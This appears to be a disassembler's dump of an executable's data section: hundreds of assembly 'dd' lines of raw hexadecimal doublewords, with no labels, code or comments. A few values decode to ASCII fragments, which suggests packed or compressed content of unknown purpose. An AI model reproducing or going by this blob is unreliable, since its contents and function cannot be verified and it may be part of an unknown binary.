		dd 56505F12h, 242108CDh, 6182B11Eh, 8A35FF64h, 0CB24F966h
		dd 25D4BD4Fh, 0DBC84E0Dh, 0B77393Dh, 31FA9903h,	69F007DFh
		dd 0CF7C0F39h, 4F152F09h, 0EBB78F83h, 0D4BC9B26h, 35780957h
		dd 1AA304CBh, 70E2C950h, 0D9A627D2h, 2D6C70E0h,	0CBDAC713h
		dd 0FD64901h, 25A40487h, 473B0749h, 7B3090BFh, 0BD13807Ah
		dd 64A403B0h, 0FA08F985h, 29541095h, 5CC900EFh,	94A8F99Eh
		dd 9800FC25h, 0A66BA53Bh, 9F51053h, 46E99A70h, 57607320h
		dd 6D558531h, 30C221B7h, 61801FA9h, 6EDB4A33h, 8F10187Fh
		dd 6033CFDCh, 40CE0AC0h, 71F3F0Fh, 0ABE5640Bh, 6C62D5D4h
		dd 7C6D1761h, 0E85D4CC3h, 1B008C1Dh, 4AA3EFE3h,	2EC9BF27h
		dd 506190Ch, 0C2FB83D3h, 538F845Ah, 0EAE68189h,	1ACCDF06h
		dd 1C15AFE9h, 1EE042BAh, 1D4C911Dh, 24818BF9h, 0A481C70Ch
		dd 3FF1799h, 98B8E983h,	0C3F60415h, 305C638Bh, 4584E855h
		dd 0D182815Dh, 8BE88233h, 8B1B8A83h, 8919A419h,	4FC75D0Ch
		dd 25CB9D09h, 45C28B7Bh, 6A795224h, 0C1C0390Eh,	0EE39BD03h
		dd 0B5101A72h, 0A8570E9Dh, 27249559h, 46815AA8h, 39B9A307h
		dd 4B800B0h, 54855D7h, 0F7810064h, 0D465BB0Dh, 0BA0B8685h
		dd 0E934B640h, 0C9D5F4Eh, 68FBC0EDh, 75564D58h,	13A10A4Ch
		dd 0ADE306D1h, 47940A53h, 9BE79535h, 0EEDCC167h, 0B9CD6D5Ah
		dd 0B82B0624h, 74A3844Bh, 958517C0h, 10EA6B32h,	0A184043Dh
		dd 0AB09210Dh, 0E120900Bh, 6C19A7AAh, 8C15BC0Eh, 0F2CFCA32h
		dd 0E96660D1h, 1B98009h, 68EEA81Bh, 0C447DBC4h,	31808B1Bh
		dd 30E6392Eh, 80015BE1h, 65637845h, 69740370h, 49206E6Fh
		dd 72B0669Bh, 0CA2616Dh, 656CE903h, 2C9873CBh, 18CF6320h
		dd 0F8793D74h, 0F1FB68EAh
		dd 0F166F173h, 9F72F577h, 761F6412h, 705E6C9Fh,	9A73BD7Dh
		dd 2C346977h, 0D86C761Dh, 676E1C26h, 734067D8h,	0B854EE2Eh
		dd 0FA6BFA74h, 0F675FA79h, 40D6F0Ah, 28C601F4h,	73608070h
		dd 5254436Eh, 0FF2B754Ch, 6978EBB2h, 642D468Fh,	6218BA7Ah
		dd 0A379707Bh, 0CB696C08h, 28DAFE62h, 81362964h, 0DFA15642h
		dd 3DBF3FA6h, 1EE625BCh, 630AE843h, 0F4E496Bh, 4FC26491h
		dd 50385455h, 0A26F7F72h, 0D10F161Dh, 0F3900F3Bh, 3DA1B641h
		dd 5B1EC80Fh, 8E8D50CAh, 401E1D18h, 0FD1BDFFh, 71FF1A95h
		dd 0A5C10B3Dh, 0D13A1859h, 80B97407h, 0D16C50B8h, 28632419h
		dd 51192C34h, 8B62076Dh, 163F1665h, 0C17D0E24h,	88598BF0h
		dd 715125F6h, 5951230Eh, 9E230E7Dh, 0BC38C45Bh,	3881648Dh
		dd 75648DA5h, 648DAD38h, 85B43879h, 6DC70C48h, 0A2E90BB8h
		dd 65BD3910h, 0CA3A0E48h, 0A1BD0D95h, 1185081Ah, 3508C3A6h
		dd 0C281051Eh, 3873A1F8h, 958D85A6h, 52186DE2h,	0C3402834h
		dd 893BD41Fh, 0C2B24DD3h, 550CED76h, 0A89D8B88h, 0BC4CC313h
		dd 0A3652982h, 88501011h, 8547971h, 5890877Dh, 5C798188h
		dd 948A7508h, 0AD0DFADCh, 416811AFh, 905A49CDh,	75C8790Ch
		dd 7D328164h, 6D0C7119h, 670A848Ah, 0A49F1C98h,	1BBD1607h
		dd 0C332F229h, 29406A24h, 69198924h, 1F0F96Eh, 0C1C28896h
		dd 9C7C80E8h, 7496616h,	59A42E84h, 7AC7D040h, 0AAB9E860h
		dd 0B340381Fh, 0B86F49F3h, 1C4404C0h, 0F203810Fh, 59F7005Bh
		dd 0AFFBE58h, 18287FD1h, 205F83C0h, 0A6BE68F8h,	0B5F949h
		dd 0DD4875ABh, 0AA00A30Fh, 0A0637402h, 471404Dh, 5F5E1F8Dh
		dd 0FE488066h, 3409FFDEh, 515BFC07h, 977800A7h,	19B5A3D0h
		dd 4EA17E00h, 74BFBC0Bh, 16E68Eh, 0EB81C957h, 62DCB961h
		dd 0A1183CE6h, 0D2162FE4h, 7DDD186Eh, 7680EF8h,	4AB82CF2h
		dd 1C89F20Ah, 0E1618238h, 0B24337ACh, 2FC0F073h, 0BE6600B0h
		dd 8159FD30h, 5D05B4EFh, 8B0F7D06h, 0F2E87109h,	0A694002Bh
		dd 0F4ED61F6h, 8B72D337h, 0B0C738C4h, 8A270232h, 58FFC3FFh
		dd 67B09DA1h, 0BE0ADE7Ch, 1C99EA00h, 48866FD9h,	9B0D8C0Ah
		dd 185C042Fh, 109D1975h, 0B0FE266Dh, 3083311Bh,	0FB060021h
		dd 13B868B2h, 907CF1FCh, 1A168433h, 0CFEDB89Ah,	448CFA3h
		dd 286E3210h, 3F260494h, 81503029h, 84D0ED8Fh, 0BB218028h
		dd 5BD45D41h, 818E0C92h, 19187C30h, 74399863h, 8E410627h
		dd 189C3061h, 0E1416A3Bh, 19211C39h, 0AC3F5180h, 6451AAE5h
		dd 90FBDD00h, 0BC015E4Fh, 9E320154h, 1F1D4C39h,	7F918549h
		dd 985EC8DFh, 0D9B52600h, 7735C416h, 0AA50612h,	2191929Ch
		dd 0E487F600h, 4F539F0Ch, 196A60F7h, 32012EEBh,	2200A374h
		dd 9258B0CFh, 30AA5Dh, 889931D8h, 82B7CE0Fh, 0BF6A1700h
		dd 0F396F23Bh, 880E52Bh, 2773E731h, 1002B0F8h, 919BEFA5h
		dd 524CB8A4h, 1487FC0Eh, 0E0BF128Bh, 1810EB8Fh,	0FB48DC83h
		dd 0F090FD0Ch, 2A682267h, 0AC8EEAh, 38E89317h, 482113B5h
		dd 0AA189677h, 2F4882B4h, 74931A54h, 0E011203Fh, 15B0E426h
		dd 1DF0C8E8h, 0A6DD18DDh, 48213F19h, 3A841E8Ch,	1114F671h
		dd 7888AAE7h, 65489C67h, 31912EB0h, 3019305Eh, 0D98DED71h
		dd 0CCF891E9h, 43D15601h, 0FCE01148h, 18309CBEh, 9838C1A0h
		dd 4F321463h, 580EF140h, 9C86A6B8h, 0D016991h, 1D5539E5h
		dd 3E21520h, 107E5E3Bh,	4F9188h, 0E4042660h, 0BF381598h
		dd 3184CD18h, 740CD9C1h, 113E244Dh, 0F56D4274h,	80EEBCA0h
		dd 5B0640E2h, 0ABF76763h, 477879h, 0B16EDF64h, 75F5CA4Fh
		dd 8097C33Dh, 0A6576003h, 52929BF8h, 0F300AC83h, 0F2F666EAh
		dd 3C1FC8ECh, 4BC2C6E7h, 0A01F7531h, 0F2CDB9C0h, 6CD000B6h
		dd 6D1936FBh, 0F64103Fh, 1C915721h, 5E148292h, 1C7A1188h
		dd 9940F2FCh, 1C90D873h, 0D459531Fh, 0DD30212h,	58510EA8h
		dd 1131BF60h, 209A2106h, 1439C5C4h, 0C49BCA1h, 1815963Ah
		dd 1904D0B0h, 80468493h, 0C4702620h, 22B21203h,	0DB24A8D3h
		dd 35C7F17Ch, 14C81458h, 30242096h, 0D41B1108h,	3EF13DBEh
		dd 14181836h, 98DEA9h, 8017906Fh, 1A06BAA3h, 56E2531Ch
		dd 941944C6h, 138C0091h, 0D65D35CBh, 83386AE1h,	421A41Dh
		dd 68C4E644h, 0BC08282Fh, 374C313h, 0CE60DD86h,	5905180Ah
		dd 438419D6h, 0C8DBC040h, 60B3AA3Ah, 0A5906196h, 0BE0242CFh
		dd 94F35CE5h, 431C4456h, 66E70180h, 164E89F9h, 8E9882FAh
		dd 0B5B110D6h, 0B6182183h, 44AC4D88h, 990931DEh, 20F68F01h
		dd 90601770h, 5E68AC91h, 60154C8Bh, 52B3333Fh, 2101A608h
		dd 2A5E60CFh, 5DE8FD97h, 26A0004Dh, 6C98F2F0h, 0AB2649B3h
		dd 108704CBh, 897E0F39h, 0A330A030h, 6EE5DA5h, 0A9C64CBAh
		dd 14A0E033h, 0C4403E91h, 0DA3D00ABh, 39A13B7h,	1E0C65E8h
		dd 200E01EDh, 0B281268Ch, 20C514E8h, 18D72CE1h,	0DC300A05h
		dd 81A89EF5h, 664F87BBh, 11743024h, 0B8091C66h,	7FDB0021h
		dd 0F6D87C4Fh, 1B12FCB6h, 0DC02EDDAh, 0C2994695h, 23306068h
		dd 0E0F98B35h, 0F0C6F34Ah, 2C55CC22h, 436C103Eh, 613DAAF6h
		dd 0D085804Bh, 20DCBFFAh, 0ACB50098h, 54E7C21Ah, 4C9AE5F7h
		dd 860F2707h, 0D0AA9274h, 0C813DC24h, 23DC0450h, 5E6701EDh
		dd 1862158Ah, 5FCE88A2h, 25145E03h, 74483A1h, 0EF3555B9h
		dd 3445B003h, 0A6002247h, 4B87CC8Ah, 0D031FEh, 0E9C79592h
		dd 59F69E6Ch, 5890E50Eh, 20127281h, 0DD92E404h,	0B2E8B450h
		dd 0DC9B018Ch, 69F765D5h, 0E2244231h, 114F8D30h, 88A4246Ch
		dd 85E180B1h, 6847624Fh, 400CB732h, 4F8830DDh, 7C246711h
		dd 0DC80B688h, 257E4F80h, 8B85003Dh, 1D405BECh,	2890FB5Ah
		dd 0A46EB62Eh, 92B0AA05h, 0CFDDA85Ch, 73AE8B80h, 1795EBh
		dd 0B04C24DDh, 74819B77h, 2DFC1154h, 0E6F2F500h, 9053EF96h
		dd 8DF668Eh, 4F092121h,	46CF2EDh, 93433028h, 32A5438Bh
		dd 8930DEACh, 2468124Fh, 0DD603884h, 0AA0814Eh,	49403C0h
		dd 924D9858h, 504596D8h, 193F0C16h, 15DF820h, 678306BBh
		dd 0E1B1B8FFh, 86C891F9h, 0EBF2FA80h, 54431796h, 0FFF52422h
		dd 0C1834D88h, 9984F602h, 405A285Fh, 60743062h,	0ED2A2922h
		dd 0A63AA3CDh, 0BCE780F5h, 50DC4FADh, 1524002Bh, 0E97651E8h
		dd 0D1C0A2F6h, 0ED72E5D5h, 1949003Dh, 7EE6AA6Ch, 2021C74h
		dd 0BEFF511Bh, 605C8F91h, 0D210225Ah, 83A4A9Fh,	3E92D104h
		dd 85FC6C07h, 896ACC60h, 96CB1219h, 0FBD80C9Fh,	0F4A1E020h
		dd 0D416108Eh, 8DE730FCh, 0EDC6F211h, 5A45C400h, 0CDC7C06h
		dd 8C9A0682h, 69338364h, 0F0EB4F24h, 3208B801h,	31DDB09Fh
		dd 3C04C4D2h, 55ACE376h, 5659308Bh, 0CB02D7C9h,	2226B336h
		dd 0CD989075h, 0ACA500D0h, 0D28098A1h, 497408D4h, 0FD261B00h
		dd 0A4C5C346h, 546E003Dh, 0A64FA9C4h, 0F5F0ED8Fh, 440E864Ah
		dd 5391843Fh, 0E5AA3090h, 990E0FCCh, 4B8C15F8h,	0B32C1E19h
		dd 8E80B844h, 4FEFCE6Ch, 0FF520E1Dh, 3A4CBF2h, 840C82EEh
		dd 0E9FCF831h, 22074696h, 0F525827h, 0C2C8431Ch, 9ECEAE2Ch
		dd 936400C0h, 11988A4Ch, 0A4136038h, 0A5300495h, 27005C8Ch
		dd 0CE1782EBh, 783E4D53h, 0AF11B805h, 9A3480A8h, 375C3938h
		dd 602E0024h, 49B2F369h, 449B5983h, 0DC470F0Fh,	0DAF120B4h
		dd 313E1833h, 98C11013h, 88F04E8Eh, 0D378C04Bh,	0DCFC3EBCh
		dd 159EF416h, 9BCA1C1Eh
		dd 0C1CFA080h, 0E796E5F2h, 4E801033h, 7416F2ECh, 18032602h
		dd 713886D0h, 88894708h, 8D3EED80h, 2DBF59h, 545D90E7h
		dd 49C49317h, 0CC28B4A1h, 0CCB87DCAh, 262516F8h, 9F42FB8h
		dd 0D6088018h, 98BD2409h, 0D428D01Dh, 3233EC16h, 6D241D6Ch
		dd 0A38B50C0h, 2035612Ch, 285118FCh, 75F32EF8h,	0DC4E803Eh
		dd 801595ABh, 59810A9Dh, 0BC4F512h, 4C80DB16h, 0CC3C5098h
		dd 5AF0C4A0h, 0B9011E01h, 0E5260FFEh, 3CF24443h, 209BEE51h
		dd 19D83138h, 3A6274A3h, 5AC52480h, 0E8157CA4h,	9A18CF47h
		dd 42510FDh, 4AF49352h,	6497EE00h, 2C054C56h, 55D4C38Ch
		dd 48FE9421h, 0DE8B308Bh, 0C81D3487h, 0C3C29389h, 0E91810B0h
		dd 5F75141Ch, 268B8Ch, 0A59E3158h, 9C984CC8h, 7104B43Ah
		dd 40064EB1h, 927E2673h, 0F9520A1Ch, 91B0070Fh,	15480F24h
		dd 0B09C453Ch, 1A1EF840h, 0DD98B5h, 0AF58173Bh,	93394D5Ah
		dd 1248B948h, 148390B7h, 0E436A0B2h, 0DD11253Eh, 84F76C83h
		dd 6E554900h, 1A9B1789h, 9FF62E8Dh, 28848B68h, 0C5977421h
		dd 75BC404Fh, 90A0D765h, 7260D676h, 0C87D84F8h,	989A0D0Ah
		dd 0D229514Ch, 89743310h, 44490869h, 0B7883D53h, 1971004Dh
		dd 684E8A79h, 1700FE48h, 0D5F099F7h, 0F976040h,	0D0BB89A1h
		dd 0F294809Dh, 336863E0h, 2429AE00h, 0F0F6F1BFh, 8B07050Eh
		dd 0C0DDD2C6h, 4B33D62h, 1EB47400h, 55AA8DF9h, 0F9403DEh
		dd 7166DDE2h, 805E1903h, 4E1190h, 14D78411h, 0BCECAE09h
		dd 0A200D97Dh, 542B9E70h, 1B798Fh, 0E8CA30ACh, 0E950232Ch
		dd 3A192060h, 71038h, 562A70B0h, 0DA2B0260h, 308009ECh
		dd 0ADC0336h, 0FE441D14h, 929580C8h, 81D11A3Fh,	97FAE773h
		dd 0DFFCE9CCh, 0FFD70023h, 92C4B70Dh, 0A01841F6h, 7646298Bh
		dd 2CEE00C7h, 1FB6C1A7h, 2B0FBB71h, 607770EAh, 410DF7E2h
		dd 9BC20014h, 7935A140h, 0C5003009h, 3FA7976Ch,	160D9F5Eh
		dd 0E8BE42h, 0D0013ACAh, 20F94DABh, 0C5F00A10h,	36552D0Bh
		dd 4AB7009Ah, 0DDC254h,	0AC0529A4h, 0DF0DE4D3h,	0E2649400h
		dd 0A82CB6E8h, 723F00A3h, 468B7075h, 0DA1C4D42h, 6CA56CAh
		dd 0F100CCDCh, 0FBD1C0EEh, 2A9E1518h, 0A430BC38h, 4F318322h
		dd 0F8476B00h, 8A5D2D05h, 0C80C079Ch, 9097B5FFh, 0DD3B9174h
		dd 280FE103h, 888804CBh, 48F6C383h, 30606A5Fh, 7226157h
		dd 175E3B00h, 0E9828869h, 6FD300D9h, 49DFB180h,	5900D2FBh
		dd 0DCB9E67Ah, 908FB719h, 5126077Ch, 60B1FF6Eh,	67569B6h
		dd 3A039A01h, 0C01B7A7Bh, 652C90C3h, 0B5CC3D48h, 79F9DB18h
		dd 2B1FE5E3h, 11C04EA7h, 7BD5D8A4h, 56402416h, 0C1CD0034h
		dd 3C895B75h, 7642220Eh, 0FC2C64A2h, 0A0FD1C80h, 0D776B9h
		dd 2A8E55F3h, 0E1453786h, 0C515B4E0h, 881CECh, 39A91538h
		dd 3A56AEFh, 1908C26Bh,	20D65C3Ah, 2C00D972h, 1D01CF24h
		dd 7D43AAh, 0F1EB484Eh,	33C6953Ch, 102CD8C3h, 24D99020h
		dd 2A88FAE3h, 846DF0h, 3EA0ED2Eh, 897A2975h, 3467B5B0h
		dd 0E1279452h, 2A5D4E50h, 4B90070Fh, 0D0EE04F3h, 5A36D7C0h
		dd 7E3E867Bh, 0C1698022h, 0FDF1CB9Eh, 0A9DB00B8h, 0F3D952E4h
		dd 0AC00F6ECh, 2B646BEEh, 1DEE86Eh, 0D838A3B8h,	0CC2D12E2h
		dd 2912280Eh, 1442FAAAh, 836C4B33h, 97B0B6C4h, 0CEB0D61h
		dd 0FA40A040h, 184AF8A5h, 302F9286h, 0E700E17Dh, 4B4DB38Eh
		dd 3EB08842h, 80D0161Eh, 0E8B7A4Eh, 203EC72Bh, 0B8FCF400h
		dd 64174B3Fh, 4424616h,	0C0C7EC90h, 1D7C1EA5h, 8040179Dh
		dd 1093DFE5h, 4E01B3F1h, 8FEA3E67h, 0EDF00F58h,	0B5D300A1h
		dd 6F985E32h, 61023081h, 0E6B9C844h, 70DEE0CFh,	5FE70006h
		dd 10FAD7E1h, 0EE00AEB4h, 0E5DD6526h, 3E58D809h, 1380ABD6h
		dd 35AD762Eh, 0BC90D7A6h, 6C92A9E4h, 35ABF25h, 0B8A21258h
		dd 50092ED6h, 39F188F0h, 0CA1F6E47h, 0FDC0F805h, 10626002h
		dd 0C0D05244h, 49F2555Ch, 8E032C26h, 563ADBC2h,	0C6AB94C0h
		dd 1C86760Eh, 48C502C1h, 0BDA0E0F2h, 502101DFh,	4115D9D3h
		dd 2AF8C0B7h, 0EABAEB07h, 47B09B18h, 12FF6655h,	41959A43h
		dd 0E4BD7C70h, 8228F0BCh, 0F1DEDAA0h, 0B82848B2h, 3CB0A9EFh
		dd 0FF3094Ch, 407921A9h, 16FDE1BEh, 65D000BFh, 0B115EBFEh
		dd 0E6141A50h, 7AD8B8E3h, 6DB5C408h, 14E8130Fh,	45002EF4h
		dd 186F3564h, 37007D1Ch, 0BC8F8BCh, 55AFA7h, 67306802h
		dd 2BF9C646h, 0B60AFE00h, 8819576Fh, 600C0239h,	2627CF91h
		dd 878FD8A0h, 3D001289h, 2324A261h, 907AC280h, 0A0AF0348h
		dd 0DAD988CDh, 1D8F100h, 0EFADC8ABh, 0CBE500B1h, 0B26BB358h
		dd 0FB00288Ah, 0CD1608FCh, 0F48A2C5h, 0D96178F5h, 0ED608B4Fh
		dd 520FEBF0h, 8D961D00h, 5377E737h, 1E280715h, 6043B97Dh
		dd 6152F1E9h, 9C2F8526h, 0C99F0340h, 73870075h,	0E75F3F0Fh
		dd 0B7018915h, 9BD02E1Fh, 0E040970Ch, 9F9CFAh, 100BE56Eh
		dd 0EBD2B357h, 0C6AC1A0Ch, 0EB14077h, 8DF864EFh, 8F28060h
		dd 0ECE250A3h, 0D1334300h, 9C35AA87h, 0C50200ACh, 7D2F1812h
		dd 1C05654Ah, 8FED3788h, 3FDC880h, 0C0E112C9h, 0BF280F42h
		dd 75555A00h, 0BC00B630h, 5CDAA47Ch, 1598A69h, 5AADF4DBh
		dd 0E0BFE611h, 0B90E084Fh, 8082C1E7h, 367D2AE9h, 0A9F80078h
		dd 0D2C29C50h, 1200C4E1h, 0CA3893Ah, 0B28834h, 2E10DE42h
		dd 21625F95h, 0C3ABA000h, 0EA591D2Ah, 7BA61E7Eh, 9FEC1Bh
		dd 0BAED2C1Ah, 0E52E9E3Fh, 8681C0C9h, 4969417Dh, 0F91DF4h
		dd 46E7CE97h, 50A6206Ah, 0F0303077h, 66E81099h,	0B0824A65h
		dd 0FD00C385h, 0C20FF3F9h, 51EC0C6h, 8255DA57h,	6D8480D9h
		dd 591F1463h, 0C6C5C5FDh, 30972E0Ch, 0C2614510h, 6D11C003h
		dd 0F43B13DEh, 8000EE2h, 461C41B6h, 1EFFBFDh, 9AF55F36h
		dd 0C0E5D19Fh, 0CE0049C6h, 208BA6D8h, 4BAA78E4h, 0CC8523Ah
		dd 0B75948DDh, 47BBB300h, 896967F5h, 0CC2741Eh,	2E9A8D56h
		dd 122F431h, 353F1349h,	69CC43DAh, 19000BFAh, 338BE6F5h
		dd 76416Ch, 0D52F5E23h,	3538D827h, 0CDBBCF07h, 4637B204h
		dd 138448FBh, 0C1CB04C8h, 90545B0Ah, 0A57BBD98h, 0D1077E75h
		dd 51A71BBAh, 4D1D9990h, 0A00613F7h, 4C484BCAh,	0C0A23800h
		dd 22008078h, 0F909C43Eh, 886EB7h, 0F0CB367Ah, 0B8EE4805h
		dd 5E8F6F0Ch, 149B7834h, 881277B0h, 0E853B781h,	0DE089D96h
		dd 4EB17D05h, 85901000h, 0E221334h, 42158BBFh, 11E8978Eh
		dd 101A313Ch, 3A124A31h, 791B7500h, 5AE90744h, 6045F51Ch
		dd 0D30D980Ah, 6B2C6700h, 0EA1E2496h, 0C7044A75h, 0B0548000h
		dd 53739F90h, 82F16600h, 0EBCB1E47h, 0F73630EAh, 712A6818h
		dd 0DC8E9401h, 573D9C37h, 888117D9h, 1CF01581h,	730C6DF2h
		dd 78E8D05Dh, 0B0442203h, 0A0649A69h, 0F41E6Bh,	6605F690h
		dd 0E7BA0D89h, 0C7542A00h, 26D28F35h, 4784801h,	0DC040D8Ah
		dd 82D78427h, 0D02818D0h, 25F4003Ch, 0F6925BE4h, 80C065C5h
		dd 39D5E703h, 0AD1800A1h, 0F52F9843h, 29C8E6C4h, 0D83A42B1h
		dd 0E1409924h, 0A52E179Ch, 6CCCCD01h, 75241067h, 4CE0C4F4h
		dd 0B70089C0h, 28601B0Dh, 0BE0F2E5Fh, 0A00623F1h, 10BFE7AEh
		dd 14311380h, 43942258h, 8F97F860h, 0D07158h, 0E541B2A3h
		dd 59A2D11h, 0F8DA8ED1h, 49C9418h, 90969DE3h, 63BA8364h
		dd 0E0672F0h, 5442255Eh, 938C3D28h, 68264B80h, 9E870C85h
		dd 5A94E854h, 0BCF7A100h
		dd 209DCC19h, 5E7203DFh, 0A495E894h, 0B51C5977h, 0BA407369h
		dd 1AB81DE3h, 0D3530543h, 92D6A31Bh, 93E34244h,	0D93A26B0h
		dd 492A0E1Ch, 9AB4A971h, 519E9661h, 7132402Dh, 59BE43F8h
		dd 2187D501h, 0BB5BE5CDh, 95C29986h, 100131A5h,	8754923h
		dd 0C8745014h, 9B2C00FFh, 0A69ADCDFh, 49C09429h, 1A13E773h
		dd 7691005Fh, 0FD7FB32Ah, 0DD074CA9h, 0B4DA117h, 0C49BEF50h
		dd 64DA07A2h, 807A6A9Ah, 0FFFAD57Eh, 73CDB107h,	0F470FE1Bh
		dd 0B90C512h, 464FF1CCh, 6A291080h, 573B04C0h, 9CEF8F75h
		dd 911A607Ah, 7E1F3F4Ch, 472A1D73h, 50548095h, 0FA1E807Fh
		dd 5FC05B01h, 0D64131A1h, 5CC536CCh, 7824BCA0h,	22F80218h
		dd 0FB404714h, 3804F994h, 0BE2F023Fh, 4C806C90h, 28FA0067h
		dd 0C293BCDEh, 2C00478Fh, 4D13FBE6h, 2A4E00Ah, 0F018857h
		dd 88834158h, 0D08CA8C5h, 8A299868h, 0F9EA227Ah, 3B00E071h
		dd 94251F68h, 79999ACFh, 4E95E0D6h, 0F1440006h,	0B496D5A1h
		dd 84C7BD00h, 0BE62B544h, 4DF75A9h, 7DACA33Fh, 6858A0C4h
		dd 768F1500h, 0B4E4C62Ch, 9C9700EFh, 783BB7FCh,	27008B49h
		dd 0E882D62Fh, 37C6E6B0h, 0D0427945h, 98D7F036h, 8C01B9B0h
		dd 0A74F11DFh, 882040A5h, 9070B0Fh, 48C010C2h, 4E009365h
		dd 0C897E51Fh, 12FCD1E3h, 40573717h, 4B65BE38h,	0D00059E8h
		dd 0A8624C23h, 7401DC4Fh, 2E377F18h, 430B383h, 800F53AEh
		dd 916D8F60h, 0A8183890h, 0E6481EACh, 0FF29C0F6h, 0DB7A1046h
		dd 9FB539h, 1CEA86DEh, 3B9769E3h, 0BA034925h, 0B0845893h
		dd 0ACDE71F0h, 11D14800h, 0A16A063Bh, 7A8FF2CCh, 0F8BE07A7h
		dd 34E4691Ch, 0A2A4A0C9h, 0C2257000h, 5F5A5F0h,	0AFB507BCh
		dd 2017864Bh, 414A4C95h, 3829E16h, 21892E00h, 0B0443481h
		dd 1C020072h, 0D4C795FBh, 573F233Dh, 0DBB38076h, 55CF68A9h
		dd 0F6EC00F4h, 0E6DC6427h, 580236FCh, 0F367D2F5h, 8E54E13Bh
		dd 0FC2069E5h, 27FC0544h, 0EFCC98h, 77EBB6B8h, 0E807DE06h
		dd 336A7278h, 0F68037A7h, 3DC126B4h, 0E9001A1Eh, 4E0A8BE1h
		dd 0B60FB887h, 0A1237360h, 8352EBD3h, 1200ED7Ch, 0F32DBD7Bh
		dd 0D0038F4Ch, 0EE7FDB30h, 0F058A6C9h, 6F380B09h, 1A00E2EAh
		dd 0EEA693F0h, 410DE000h, 0B570D523h, 646900EDh, 39F6E32Bh
		dd 2409FD66h, 809CD194h, 13885FAh, 27BB008Eh, 9AE8F84Fh
		dd 400FDF34h, 60D2EA82h, 4A9B60EFh, 784EE1h, 0F88C7D18h
		dd 790018F4h, 0B3E28AB8h, 61F39A5Ch, 3D1A629h, 3A20839Dh
		dd 91E90F76h, 0E7F0BC60h, 94C0399h, 18D98844h, 0F9B63CB0h
		dd 20742F03h, 0A0E63F0Fh, 1B92A61Fh, 1114F4DEh,	67B3C80h
		dd 9ED9AC3Ch, 0C1C0FC13h, 0C28C58AAh, 5E9017h, 0D512DA68h
		dd 4D828B8Dh, 98078130h, 0C88A78h, 0A07D7AE8h, 0A76E796Bh
		dd 129C3800h, 548527DBh, 0C20400D8h, 0FEEBA6A9h, 0D407AD70h
		dd 1B74608Ch, 8B4E39F0h, 3D270C46h, 1A86C07Fh, 0AAB931C0h
		dd 4AF8BCh, 2D075ABEh, 10D0B4ABh, 0E7A4C100h, 5E887D7h
		dd 516C3DEFh, 34F65580h, 0CDB0014Fh, 0B3ABDF4h,	928781F2h
		dd 8E80C1A2h, 0F8A74C30h, 0E0A650B2h, 2E650F6Ah, 3240F0E0h
		dd 10F59C93h, 0A485D500h, 0DC372AEAh, 92151E03h, 70E69FDBh
		dd 99835C21h, 2E23800h,	4E52B819h, 65980079h, 159B8641h
		dd 852E6EFCh, 7544242Dh, 0E310A0h, 0E6972BA8h, 26F2A08Eh
		dd 0EF46F48h, 801FC11Dh, 0F6B00819h, 0BC6E2F46h, 73F194A0h
		dd 3CB004B4h, 20F08827h, 0E437B018h, 0CFD900A9h, 567FD5FFh
		dd 0A21D49FEh, 820705BBh, 8427B767h, 0CB07017h,	3CD96Fh
		dd 0DCF79581h, 0C8EC7438h, 0FA008C4Ch, 5CA3B121h, 3E4F66C0h
		dd 0B8FE0Dh, 0D9DE5D70h, 1B33486Ah, 0CCE1462Ch,	6E416980h
		dd 0E7A317Eh, 27F8C947h, 6BC0D100h, 84001D5Bh, 9F62123Bh
		dd 9EAE93FBh, 7E7C0260h, 81021A3h, 0F0710Dh, 2ED5A41Ah
		dd 0FE43154Eh, 40D0D815h, 80E92E88h, 42B1AA00h,	661539h
		dd 94C6CA64h, 0EC5292F2h, 872D5000h, 4EDD04Ah, 69CB00C1h
		dd 0E9494372h, 0CA03BFF1h, 3F457065h, 0BCC588EBh, 9C753936h
		dd 1DF3E180h, 0A95C3DB5h, 7C2EC65Ch, 6C2478C1h,	13D060B0h
		dd 44D14A0Eh, 0A91B1C64h, 2A4A7DF8h, 0A080CC23h, 94F11CEFh
		dd 0F70F8080h, 3198B69Fh, 0A874B8EAh, 0BEE7EB0Fh, 4A624125h
		dd 0C1C0FAB0h, 0BB61023Eh, 0F41C3190h, 9FE320AFh, 183AB0B8h
		dd 1E112034h, 401E688Ch, 53CF9691h, 0A330511Bh,	0B8F160BAh
		dd 618F2572h, 52B238A0h, 640C2212h, 82669B0h, 11240A5Eh
		dd 186CCF0Eh, 0A794B81Eh, 0A5E85326h, 8089600Fh, 3B8D5BC7h
		dd 1E712BAh, 0F8D0885Ah, 9C617510h, 9878D00h, 0A5476CEAh
		dd 33889600h, 56C56321h, 1ECA71DEh, 0C0BA3CCFh,	0DA91BBFh
		dd 51008170h, 0B31DAE60h, 0BFF31h, 7E5F4E8Dh, 1F625E4Dh
		dd 0FE279F24h, 0BA0DA800h, 1FF9D845h, 7FFFC8h, 0FE9A4EC9h
		dd 59000A7Dh, 5D2FEB2Bh, 5C8139h, 556D2D57h, 0CF42CAC0h
		dd 87E49E3Ah, 0F7F9EE90h, 7F73A560h, 3F5F0055h,	3C576F4Fh
		dd 330014EDh, 5A4D5122h, 4B823Bh, 0DB6BD9F2h, 96BAE6A8h
		dd 0F7FEEF00h, 8F60B5E0h, 0E79004Bh, 2C6B4A58h,	510714FFh
		dd 0E3305A43h, 7F91C850h, 0DDC425BEh, 0FCA15897h, 0BA04533Eh
		dd 0BA2CFAD4h, 800A8904h, 59221050h, 5EEB22BBh,	19CA2D20h
		dd 29820C76h, 89600C45h, 44B70819h, 22843183h, 5226278h
		dd 856122C9h, 14111D42h, 8F12164h, 99089FDh, 48685D84h
		dd 8B5B42DDh, 22BAF522h, 0C9246CB2h, 12923221h,	736A10E1h
		dd 0A608B589h, 84CD9644h, 42751022h, 977911A1h,	0BC10B921h
		dd 1C428D88h, 21A52499h, 79127801h, 899C0510h, 0F92F1291h
		dd 0AC42D400h, 8E844497h, 25FCB03Fh, 0D792A102h, 585A3C1Ah
		dd 85C31E24h, 440FA7DCh, 99827C60h, 9100ECB2h, 90D0D652h
		dd 1BE26C8h, 2D067559h,	0CC0AE20Fh, 0C4B8C5BBh,	0EC0EEA7Bh
		dd 1EE34DA2h, 4C40D8D2h, 83797B21h, 62E0001Fh, 0D6C39351h
		dd 0B67AA3FBh, 97812E60h, 7257EF21h, 0AC7DA6h, 0E1A9E0FCh
		dd 476817D7h, 8030FD3Dh, 6F2CA2BFh, 0A3EB117Dh,	2877E0E0h
		dd 0D3571C38h, 59EF09E2h, 0E55FB878h, 62658020h, 0E46C032Dh
		dd 63E704DEh, 290837B0h, 40F0F96Eh, 3F0C5B1h, 100095A5h
